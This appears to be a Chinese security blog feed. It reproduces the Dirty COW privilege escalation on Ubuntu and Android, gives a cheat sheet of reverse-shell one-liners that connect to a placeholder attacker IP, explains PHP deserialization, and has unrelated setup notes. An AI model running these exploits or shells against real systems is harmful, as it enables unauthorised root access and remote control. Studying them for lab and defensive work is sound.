这几天发现90sec需要登录才能浏览文章,为了方便就把该文章也发在个人博客,并顺便把之前编译好的脏牛提权EXP也一块放出来。
编译好的EXP下载地址: https://github.com/Brucetg/DirtyCow-EXP
该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的写权限,进一步获取 root 权限。
Ubuntu 14.04 :
1)添加用户:
sudo adduser test 输入两次密码后一直回车就行,查看当前用户的信息,终端输入 id,回车,可以看到当 前用户是有 sudo 权限的。
切换到刚刚新建的 test 用户,同样输入 id,查看 test 用户的信息,发现 test 用户没有 sudo 权限,

2)运行DirtyCow的exp进行提权:
git clone https://github.com/dirtycow/dirtycow.github.iocd dirtycow.github.io编译exp:
gcc dirtyc0w.c -o dirtycow lpthread执行exp:
./dirtycow /etc/group “$(sed ‘/\(sudo*\)/ s/$/,test/’ /etc/group)” 
新打开一个终端,切换到test,查看test用户信息,可以看到test用户已经拥有了sudo权限,执行sudo su ,输入test用户的密码后就可以切换到root权限,提权成功。

漏洞成因:
Linux写时拷贝技术(copy-on-write)
在Linux系统中,fork()会产生一个和父进程完全相同的子进程,但子进程在此后多会exec系统调用,出于效率考虑,Linux系统中引入了“写时复制”技术,也就是只有进程空间的各段的内容要发生变化时,才会将父进程的内容复制一份给子进程。
Linux上编译好的exp在Android平台上不能用,使用NDK编译下载好的exp:
EXP下载地址:
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c 
如果导入项目时Android studio好像卡住了一样,有可能是Android Studio在后台正在下载东西,沿着这个路径:项目/gradle/wrapper找到这个文件: gradle-wrapper.properties,打开它看看最后一行的gradle版本,若版本和你现有的版本不一致,可以去http://services.gradle.org/distributions/ 上下载相应的版本,手动拷贝到:
C:\Users\用户名\.gradle\wrapper\dists\gradle-4.1-all\bzyivzo6n839fup2jbap0tjew 目录下注:这里的 bzyivzo6n839fup2jbap0tjew 是随机的
将下载好的android-ndk源码解压到某个位置,这里我是解压到了桌面上,所以在我个人的的计算机上android-ndk路径如下:
C:\Users\wangzt\Desktop\android-ndk我们只需要用下面路径中的相应文件即可:
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\在main目录下新建文件夹jni,在jni文件夹中新建两个文件:Android.mk 和Application.mk,内容如下:
Android.mk
LOCAL_PATH:= $(call my-dir)include $(CLEAR_VARS)LOCAL_SRC_FILES:= dirtyc0w.cLOCAL_MODULE:= dirtycowLOCAL_FORCE_STATIC_EXECUTABLE := true#LOCAL_STATIC_LIBRARIES := libc#LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGSinclude $(BUILD_EXECUTABLE)Application.mk
APP_ABI := all要编译的文件:

命令行下cd 到如下目录:
C:\Users\wangzt\Desktop\android-ndk\hello-jni\app\src\main\jni>执行命令:
D:\AndroidSDK\ndk-bundle\ndk-build编译成功后,在main目录下的libs文件夹中即可找到编译好的对应平台的EXP:

编译好的exp:

Android 4.4
adb连接手机(手机需开启USB调试):
查看和adb连接的设备:

在/system/bin/目录下新建文件test_dirty_cow,并且将其权限修改为644

将编译好的EXP push到测试机的/data/local/tmp/目录下的dirtycow文件中(这里选用的编译好的POC是armeabi 平台的,arm64-v8a经测试不能使用,可以根据自己用的测试机的架构选择相应的平台):

修改EXP权限:

当前用户权限(shell):

切换到root权限,向test_dirty_cow文件中写入 123456,写入之后再切换为普通用户权限(shell),以普通用户权限执行EXP(下同):
/data/local/tmp/dirtycow /system/bin/test_dirty_cow modify
然后查看test_dirty_cow中的内容,发现文件内容已被修改为modify,复现成功:

Android 6.0.1 (安全补丁程序级别: 2017年2月1日)
测试机系统具体信息:


Android 6.0.1 默认关闭了并隐藏了开发者选项,需要在关于手机里的版本号处连续点击5次版本号才可以启用开发者选项,然后在开发者选项中启用USB调试。

接着我们在 /system/bin 目录下创建一个普通用户没有写权限的文件,因为默认的 /system 目录是只读的,所以需要 remount /system
注意:
mount -o rw,remount /system 上述命令中,remount和它前面的逗号之间不要有空格。
接下来的操作步骤和在Android 4.4 系统中差不多:

adb中切换为root权限,将新建的test_dirtycow 文件的权限修改为 644

给EXP可执行权限:

执行EXP 报错:

PIE这个安全机制从4.1引入,但是Android L之前的系统版本并不会去检验可执行文件是否基于PIE编译出的。因此不会报错。但是Android L已经开启验证,如果调用的可执行文件不是基于PIE方式编译的,则无法运行。解决办法非常简单,在Android.mk中加入如下flag即可。
LOCAL_CFLAGS += -pie -fPIELOCAL_LDFLAGS += -pie -fPIE修改后的Android.mk 文件:
LOCAL_PATH:= $(call my-dir)include $(CLEAR_VARS)LOCAL_SRC_FILES:= dirtyc0w.cLOCAL_MODULE:= dirtycowLOCAL_FORCE_STATIC_EXECUTABLE := true#LOCAL_STATIC_LIBRARIES := libc#LOCAL_CFLAGS += -Iinclude/dir -DSOMEFLAGSLOCAL_CFLAGS += -pie -fPIELOCAL_LDFLAGS += -pie -fPIEinclude $(BUILD_EXECUTABLE)Application.mk
APP_ABI := all编译EXP:
Windows命令行下进行编译,因为我下载的ndk 存放在D:\AndroidSDK\ndk-bundle文件夹中,所以只需要在命令行下输入如下命令进行编译:
D:\AndroidSDK\ndk-bundle\ndk-build 
经测试,不能任意修改文件内容:

因为这个Android 6.0的系统安全补丁是2017年2月份的,估计漏洞已经修补好了。
Android 6.0.1_r68(安全补丁程序级别: 2016年9月6日)
不多说,一样的操作:

可以看到test_dirtyc0w文件中的内容被修改为 modify,复现成功。
Android 5.1.1
复现过程:
用的EXP是测试Android 6.0.1时编译好的,拿来直接用即可。

在/system/bin目录下新建文件 test_dirty,试了几次没有成功:

解决办法:执行
mount -o rw,remount /system并将新建的test_dirty 权限修改为644:

向文件test_dirty中写入 123456,执行EXP:
/data/local/tmp/dirtycow /system/bin/test_dirty modifyEXP执行一段时间后即可停止,此时再次查看 test_dirty 文件中的内容,发现文件内容已被更改为 modify,复现成功:

攻击者主机上执行监听:
nc -lvvp port目标主机上执行:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1简单解释下:
注:
/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
linux shell下常用的文件描述符是:
1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。
另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。
其他版本:
方法二:
exec 0&0 2>&00<&196;exec 196<>/dev/tcp/x.x.x.x/4444; sh <&196 >&196 2>&196/bin/bash -i > /dev/tcp/x.x.x.x/8080 0<&1 2>&1方法三:
exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5; done攻击者主机上打开两个终端分别执行监听:
nc -lvvp 4444nc -lvvp 5555目标主机中执行:
telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip
反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。
另一个版本:
rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p攻击者主机上执行监听命令:
nc -lvvp port目标主机上执行:
nc -e /bin/bash x.x.x.x port如果目标主机linux发行版本没有 -e 参数,还有以下几种方式:
1. rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc x.x.x.x 9999 >/tmp/f注:
mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信。
2. nc x.x.x.x 4444|/bin/bash|nc x.x.x.x 5555 #从4444端口获取到命令,bash 运行后将命令执行结果返回 5555 端口,攻击者主机上也是打开两个终端分别执行监听。3. nc -c /bin/sh x.x.x.x 44444. /bin/sh | nc x.x.x.x 44441. Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'2. Perl
方法一:
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'方法二:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'3. Ruby
方法一:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'方法二:
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'4. PHP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'5. Java
public class Revs { /** * @param args * @throws Exception */ public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor(); }}6. Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"注:以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击者ip,并且需要在攻击者主机上进行监听:
nc -lvvp 5555上面提到的反弹shell的方法只是一些比较常见的,肯定不够全面,在简单的渗透环境中,上面所提到的应该能满足需求,但是如果是在比较复杂的环境中,还是需要进行一些灵活变通以适应复杂环境的渗透测试,欢迎补充。
参考链接:
]]>将apache2停止:
service apache2 stop给dvwa文件夹相应的权限:
chmod -R 755 /var/www/html/dvwa启动mysql服务:
service mysql start打开mysql:
mysql -u root -p创建数据库:
create database dvwa;退出mysql:
exit启动apache2服务:
service apache2 start打开浏览器,在地址栏中输入 127.0.0.1/dvwa (或者 localhost/dvwa) ,浏览器会自动跳转到127.0.0.1/dvwa/setup.php 页面,看来要大功告成了,点击页面下方
Create/Reset Database按钮,竟然不能创建数据库,提示 Could not connect to the MySQL service. Please check the config file. 原来是相应配置文件还没有修改。
找到/var/www/html/dvwa/config文件夹,打开其中的config.inc.php文件,将
$_DVWA[ 'db_password' ] = 'p@ssw0rd'; 这一行改为
$_DVWA[ 'db_password' ] = '';再次进入上述网址点击Create/Reset Database按钮,提示数据库创建成功。接下来就可以进入DVWA演练平台进行练习了。默认用户名为admin,密码为password。
项目地址:https://github.com/facebook/fbctf
官网说的是只支持ubuntu14.04的64位系统,不支持16.04系列,还特意试了下,结果在ubuntu16.04的64位系统版本中没安装成功,在14.04的64位版本上成功安装(操作步骤是一样的)。
sudo apt-get install gitgit clone https://github.com/facebook/fbctfcd fbctf./extra/provision.sh -m prod -c self -s $PWD这个过程中会安装apache2和mysql等,其中mysql默认密码为root
echo '140.211.166.134 dl.hhvm.com' >> /etc/hostswget -O - http://dl.hhvm.com/conf/hhvm.gpg.key | sudo apt-key add -echo deb http://dl.hhvm.com/ubuntu trusty main | sudo tee /etc/apt/sources.list.d/hhvm.listsudo apt-get updatesudo apt-get install hhvm会接着下载安装很多东西,时间可能有点长,最后会在mysql中创建fbctf数据库,不出意外的话,基本到这里就算安装成功了。
在浏览器中输入127.0.0.1,若出现下面的界面则说明安装成功。
PS:
1.provision.sh脚本执行结束后会生成fbctf管理员登陆的的用户名和密码,用户名和密码会在脚本执行结束的最后部分打印出来,而不会存储到其他任何位置,管理员账户一般为admin,不过密码是随机生成的,因此要把密码备份一下,省得以后麻烦。2.fbctf官网建议ubuntu14.04系统的内存至少为2GB,否则很有可能会安装出错。3.以上操作均在ubuntu14.04虚拟机中完成。解决方法: 在登陆界面按Ctrl+Alt+F1组合键,出现终端,输入用户名和密码登陆之后,然后执行:
sudo rm -r ~/.Xauthoritysudo reboot重新登录即可进入系统,默认是自动登录,若想改为输入密码之后才能登陆系统,可进入System Settings中的User Accounts选项中,先点击右上角的Unlock按钮,再将Automatic Login选项设为OFF即可。如下图
解决方法:
方法1(适合解决显卡驱动问题):
先更新系统:
sudo apt-get updatesudo apt-get dist-upgrade 重启系统:
sudo reboot方法2:尝试安装ccsm,然后在ccsm中将Ubuntu Unity Plugin设置为启用,根据情况重启系统,看是否能解决。
PS:Ubuntu物理机在桌面菜单和侧边栏不显示时,连接wifi可能是一个问题,从而导致无法更新系统,这里有一个简单的办法:在命令行下输入unity-control-center,即可打开系统设置,然后在其中的网络选项中设置wifi连接,这样就方便多了。
]]>首先从 ftp://ftp.gnu.org/gnu/mpfr/ 下载最新的mpfr的压缩包,这里我下载的是mpfr-3.1.5.zip
在Kali中执行以下命令:
unzip mpfr-3.1.5.zip (这里需要根据下载的压缩包所在的实际目录修改一下)cd mpfr-3.1.5./configuremakemake checkVERBOSE=1 make checkmake install如果以上过程中不报错的话,mpfr就安装好了 ,详细安装过程可参考官方文档:http://www.mpfr.org/mpfr-current/mpfr.html
本以为mpfr安装好就解决问题了,运行
pip install gmpy2 刚才的问题没有了,又出现了新的问题,缺少mpc.h头文件,如下图,Excuse me?
然后就有了第3步:
tar -xzvf mpc-1.0.3.tar.gz (这里需要根据下载的压缩包所在的实际目录修改一下)cd mpc-1.0.3./configuremakemake install若以上过程没报错,问题就已经解决,然后执行
pip install gmpy2 提示 gmpy2 安装成功,就可以愉快的跑脚本啦!
项目地址: https://github.com/Qihoo360/mysql-sniffer
参照官方安装方法:
1. git clone https://github.com/Qihoo360/mysql-sniffer2. cd mysql-sniffer3. mkdir proj4. cd proj5. cmake ../第5步的时候提示没有安装cmake,通过
apt-get updateapt-get install cmake即可解决;
安装好cmake之后再次执行步骤5,提示缺少pcap.h这个头文件,如下
官方给出的依赖为:
Dependence:
glib2-devel、libpcap-devel、libnet-devel安装libpcap-dev即可(注意是libpcap-dev)
再次执行步骤5:
原来的错误没有了,又出现了新的错误,提示缺少 libnet.h 这个头文件
老套路,安装libnet-dev即可(注意是libnet-dev)
执行步骤5,本来以为应该没问题了,谁知到又出现了新问题 : 缺少glib.h头文件
想到依赖中的glib2-devel还没安装,应该是缺少了这个软件包吧,就试着安装glib2-dev :
aptitude install gib2-dev (aptitude不是kali自带的,可通过apt-get install aptitude来安装,据说对依赖问题解决的比较好)
Kali中提示找不到软件包,不过给出了一些提示 :
Couldn't find any package whose name is "glib2-dev", but there are 1 packages which contain "glib2-dev" in their name: libpackagekit-glib2-dev 那就试试安装libpackagekit-glib2-dev, 通过
aptitude install libpackagekit-glib2-dev即可安装。
第N次执行步骤5,果然刚才的问题没有了,不过又出现了新的问题,提示缺少glibconfig.h头文件,如下(无奈.jpg)
(ps:我能怎么办,我也很绝望啊)
这个问题花费的时间稍微多一点,解决办法也是在github看到的,原文地址: https://github.com/dusty-nv/jetson-inference/issues/6
执行
cp /usr/lib/x86_64-linux-gnu/glib-2.0/include/glibconfig.h /usr/include/glib-2.0/glibconfig.h 即可。
第N+1次执行步骤5,总算编译成功。
接着执行安装步骤:
make到此安装其实已经结束了,我们可以通过下面的方法验证是否安装成功:
cd bin./mysql-sniffer -h若输出相应的使用帮助,则说明安装成功。Game Over!
!ENTRY org.eclipse.osgi 4 0 2017-10-06 13:33:49.046
!MESSAGE Application error
!STACK 1
java.lang.RuntimeException: Application “” could not be found in the registry. The applications available are: org.eclipse.ant.core.antRunner, org.eclipse.ant.ui.antRunner, org.eclipse.datatools.connectivity.console.profile.StorageFileEditor, org.eclipse.e4.ui.workbench.swt.E4Application, org.eclipse.e4.ui.workbench.swt.GenTopic, org.eclipse.emf.codegen.CodeGen, org.eclipse.emf.codegen.JMerger, org.eclipse.emf.codegen.ecore.Generator, org.eclipse.emf.importer.ecore.Ecore2GenModel, org.eclipse.emf.importer.java.Java2GenModel, org.eclipse.emf.importer.rose.Rose2GenModel, org.eclipse.equinox.app.error, org.eclipse.equinox.p2.director, org.eclipse.equinox.p2.garbagecollector.application, org.eclipse.equinox.p2.publisher.InstallPublisher, org.eclipse.equinox.p2.publisher.EclipseGenerator, org.eclipse.equinox.p2.publisher.ProductPublisher, org.eclipse.equinox.p2.publisher.FeaturesAndBundlesPublisher, org.eclipse.equinox.p2.reconciler.application, org.eclipse.equinox.p2.repository.repo2runnable, org.eclipse.equinox.p2.repository.metadataverifier, org.eclipse.equinox.p2.artifact.repository.mirrorApplication, org.eclipse.equinox.p2.metadata.repository.mirrorApplication, org.eclipse.equinox.p2.touchpoint.natives.nativePackageExtractor, org.eclipse.equinox.p2.updatesite.UpdateSitePublisher, org.eclipse.equinox.p2.publisher.UpdateSitePublisher, org.eclipse.equinox.p2.publisher.CategoryPublisher, org.eclipse.help.base.infocenterApplication, org.eclipse.help.base.helpApplication, org.eclipse.help.base.indexTool, org.eclipse.jdt.apt.core.aptBuild, org.eclipse.jdt.core.JavaCodeFormatter, org.eclipse.jdt.core.JavaIndexer, org.eclipse.oomph.setup.core.SetupArchiver, org.eclipse.pde.build.Build, org.eclipse.pde.junit.runtime.uitestapplication, org.eclipse.pde.junit.runtime.legacytestapplication, org.eclipse.pde.junit.runtime.coretestapplication, org.eclipse.pde.junit.runtime.coretestapplicationnonmain, org.eclipse.pde.junit.runtime.nonuithreadtestapplication, org.eclipse.ui.ide.workbench, org.eclipse.wst.jsdt.core.JavaCodeFormatter, org.eclipse.wst.server.preview.preview.
at org.eclipse.equinox.internal.app.EclipseAppContainer.startDefaultApp(EclipseAppContainer.java:248)
at org.eclipse.equinox.internal.app.MainApplicationLauncher.run(MainApplicationLauncher.java:29)
at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:134)
at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:104)
at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:388)
at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:243)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.eclipse.equinox.launcher.Main.invokeFramework(Main.java:673)
at org.eclipse.equinox.launcher.Main.basicRun(Main.java:610)
at org.eclipse.equinox.launcher.Main.run(Main.java:1519)
at org.eclipse.equinox.launcher.Main.main(Main.java:1492)
eclipse所在目录/configuration/config.ini,
看看config.ini中 eclipse.product 和 eclipse.application这两行等号后面是否为空,若为空,则将其改为如下:
eclipse.product=org.eclipse.platform.ideeclipse.application=org.eclipse.ui.ide.workbench保存修改后,重新启动Eclipse,问题解决
参考链接: http://blog.csdn.net/qq_29439685/article/details/50606638?utm_source=itdadao&utm_medium=referral
]]>参考链接:
http://bobao.360.cn/learning/detail/3193.htmlhttp://blog.csdn.net/qq_32400847/article/details/53873275?readlogPHP反序列化漏洞,也叫php对象注入(PHP Object Injection)。
说到反序列化,就要提到序列化。序列化和反序列化的目的是使得程序间传输对象更加方便。序列化是将对象转换为字符串以便存储和传输的一种方式。而反序列化就是序列化的逆过程,它会将字符串重新转换为对象供程序使用。
在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。反序列化本身并不危险,但是如果反序列化时传入反序列化函数的参数是用户可控的,反序列化漏洞就产生了。
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示,unserialize()函数能够重新把字符串变回php原来的值。反序列化一个对象将会保存对象的所有变量。但是不会保存对象的方法,只会保存类的名字。 为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个该类的文件或使用函数spl_autoload_register()来实现。魔术方法就是在某些条件下自动执行的函数。
为什么会有魔术方法:
魔术方法是在需要实现一些功能,但是一般代码做不到或很难做到的时候才能用。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能。
php类可能会包含一些特殊的函数叫magic方法,magic方法命名是以符号开头的,比如construct()、destruct()、toString()、sleep()、wakeup()等等,这些函数在某些情况下会自动调用。一些magic函数及其用途如下:
__construct() 当一个对象创建时触发__destruct() 当一个对象被销毁时触发__toString() 把类当作字符串使用时触发__call() 在对象上下文中调用不可访问的方法时触发__callStatic() 在静态上下文中调用不可访问的方法时触发__get() 用于从不可访问的属性读取数据时__set() 用于将数据写入不可访问的属性__wakeup() 使用unserialize时触发__sleep() 使用serialize时触发__isset() 在不可访问的属性上调用isset()或empty()触发__unset() 在不可访问的属性上使用unset()时触发__invoke() 当脚本尝试将对象调用为函数时触发__autoload() 尝试加载未定义的类时触发__clone() 当对象复制完成时触发
配合代码讲解,更容易理解魔术方法怎么调用的:
<?phpclass Brucetg{ public $test = "This is just a test"; public function PrintTest() { echo $this->test.'<br/>'; } public function __construct() { echo '__construct</br>'; } public function __destruct() { echo '__destruct<br />'; } public function __toString() { return '__toString<br />'; }} $object = new Brucetg(); $object->PrintTest(); echo $object;?>php允许保存一个对象方便以后使用,这个过程被称为序列化。为什么要有序列化这种机制呢?在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果另一个脚本想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容已经释放掉了,我们要如何操作呢?难道要一个脚本不断地循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串转换为变量。
// 1.php <?phpclass User{public $name = '';public $age = 0;public $sex = '';public function PrintUser(){echo 'User '.$this->name.' is ' . $this->age .' years old, sex is '.$this->sex.'.<br/>';}}//创建一个对象$user = new User();$user->name = 'Test';$user->age = 20;$user->sex = 'male';$user->PrintUser();echo serialize($user);?>为了使用这个对象,在2.php中用unserialize重建对象。
//2.php <?php class User{ public $age = 0; public $name = ''; public $sex = ''; public function PrintUser() { echo 'User ' .$this->name.' is '.$this->age.' years old, sex is '.$this->sex.'. '; } } $user = unserialize('O:4:"User":3:{s:4:"name";s:4:"Test";s:3:"age";i:20;s:3:"sex";s:4:"male";}'); $user->PrintUser(); ?>
反序列化漏洞的利用思路:
在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做“面向属性编程”,即POP(Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP技术中我们往往需要一段初始化gadgets来开始我们整个的利用过程,然后继续调用其他的gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是wakeup()或者是destruct()方法。在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直到找出可以利用的点为止。以下为跟进其函数调用过程中需要关注的一些很有价值的函数:
Command Execution:
exec()passthru()popen()system()
File Access:
file_put_contents()file_get_contents()unlink()当然并不只有这些函数才会导致漏洞的产生,比如前几天typecho反序列化漏洞最终利用的是call_user_function(),漏洞分析中也提到了array_map()函数,该函数在传递给它的参数是用户可控时也会导致漏洞的产生。
PHP的unserialize()函数只能反序列化在当前程序上下文中已经被定义过的类。在传统的PHP中你需要通过使用一大串的include()或者require()来包含所需的类定义文件。于是后来出现了autoloading技术,它可以自动导入需要使用的类。这种技术同时也方便了我们的漏洞利用。因为在我们找到一个反序列化点的时候我们所有使用的类就多了,那么实现漏洞利用的可能性也就更高。
还有一个东西要提一下,那就是Composer,这是一个php的包管理工具,同时他还能自动导入所依赖库中定义的类,这样一来unserialize()函数也就能使用所有依赖库中的类了,攻击面又增大不少。
]]>
后来查找资料发现,是因为显示最常用的应用这一选项被关闭了
但是显示最常用的应用这一选项是灰色的,无法点击,其实只要打开另一选项就可以了,方法如下:
打开 设置->隐私->常规,将 允许Windows跟踪应用启动,以改进开始和搜索结果 这一选项设置为开
然后再转到 设置->个性化->开始 界面中,可以看到显示最常用的应用这一选项已经变为可选(不再是灰色),将其设置为开即可
安装软件包apt-transport-https,使APT系统能够被https解析
sudo apt-get install apt-transport-https添加Docker repository key到本地keychain
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 36A1D7869245C8950F966E92D8576A8BA88D21E9添加docker软件仓库到软件源,升级软件源,安装lxc-docker包
sudo sh -c "echo deb https://get.docker.com/ubuntu docker main > /etc/apt/sources.list.d/docker.list"sudo apt-get updatesudo apt-get install lxc-docker由于某些原因国内下载镜像速度非常慢,慢到了无法忍受的地步,那就只好另寻它法了,这里我们采用阿里云提供的Docker镜像加速器。
浏览器访问:https://dev.aliyun.com/search.html,打开 开发者平台 – 管理中心 – 镜像加速器 。可以看到 “您的专属加速器地址” 即 https://xxxxxxx.mirror.aliyuncs.com 。
如下图所示:

按提示配置即可,速度比之前快的不要不要的。
sudo docker pull ubuntu:14.04启动Ubuntu 14.04:
sudo docker run -i -t ubuntu:14.04 /bin/bash创建的Docker镜像如果不包含ifconfig、netstat等工具,需要自行安装,执行以下命令安装即可(在docker镜像中执行):
apt-get updateapt-get install net-tools安装git:
apt-get install git安装wget:
apt-get install wget安装Oracle JDK(OpenDaylight 使用Java语言开发):
wget http://download.oracle.com/otn-pub/java/jdk/8u151-b12/e758a0de34e24606bca991d704f6dcbf/jdk-8u151-linux-x64.tar.gz?AuthParam=1514528589_ce87a553f807b80cb2ef418629984734(注:上述URL中AuthParam每次均会改变,如果不能下载请自行去官网获取最新链接)
ls -al 
将文件重命名:
mv jdk-8u151-linux-x64.tar.gz? AuthParam=1514528589_ce87a553f807b80cb2ef418629984734 jdk-8u151-linux-x64.tar.gz解压:
tar -zxvf jdk-8u151-linux-x64.tar.gz将其移动到 /usr目录下,方便管理
mv jdk1.8.0_151 /usr/jdk1.8.0_151安装vim:
apt-get install vim编辑 .bashrc :
vim ~/.bashrc在尾部添加如下:
JAVA_HOME=/usr/jdk1.8.0_151JRE_HOME=$JAVA_HOME/jreJAVA_BIN=$JAVA_HOME/binCLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/libPATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/binexport JAVA_HOME JRE_HOME PATH CLASSPATH为了使配置生效,执行
source ~/.bashrc验证JDK是否安装成功:
java -version 
wget http://ftp.wayne.edu/apache/maven/maven-3/3.5.2/binaries/apache-maven-3.5.2-bin.tar.gztar zxvf apache-maven-3.5.2-bin.tar.gzmv apache-maven-3.5.2 /usr/apache-maven-3.5.2vim ~/.bashrc在末尾追加:
export MAVEN_HOME=/usr/apache-maven-3.5.2export PATH=${PATH}:${MAVEN_HOME}/bin保存后,执行
source ~/.bashrc即可。
查看是否安装成功:
mvn -version 
克隆项目:
git clone https://github.com/sdnhub/SDNHub_Opendaylight_Tutorial.git切换到项目目录:
cd SDNHub_Opendaylight_Tutorial开始编译:
mvn install -nsu报错:

解决方案:
wget -q -O - https://raw.githubusercontent.com/opendaylight/odlparent/master/settings.xml > ~/.m2/settings.xml重新编译:
mvn install -nsu安装成功:

查看所有容器:
sudo docker ps -asudo docker commit d20d057bdfda sdn_opendaylight:1.0(注: commit后跟的是容器id)
查看镜像:
sudo docker images 
镜像提交到Docker Hub,需提前申请DockerHub账号:‘
給存在于本地的镜像打标签,要带上dockerhub 用户名(如果最后不带冒号加版本,就默认为 :lastest版本)
sudo docker tag sdn_opendaylight:1.0 brucetg/sdn_opendaylight登陆DockerHub
sudo docker login输入正确的用户名和密码即可。
提交到 DockerHub:
sudo docker push brucetg/sdn_opendaylight

启动:(在SDNHub_Opendaylight_Tutorial目录中执行以下命令)
cd distribution/opendaylight-karaf/target/assembly./bin/karaf 

1 | $ hexo new "My New Post" |
More info: Writing
1 | $ hexo server |
More info: Server
1 | $ hexo generate |
More info: Generating
1 | $ hexo deploy |
More info: Deployment
]]>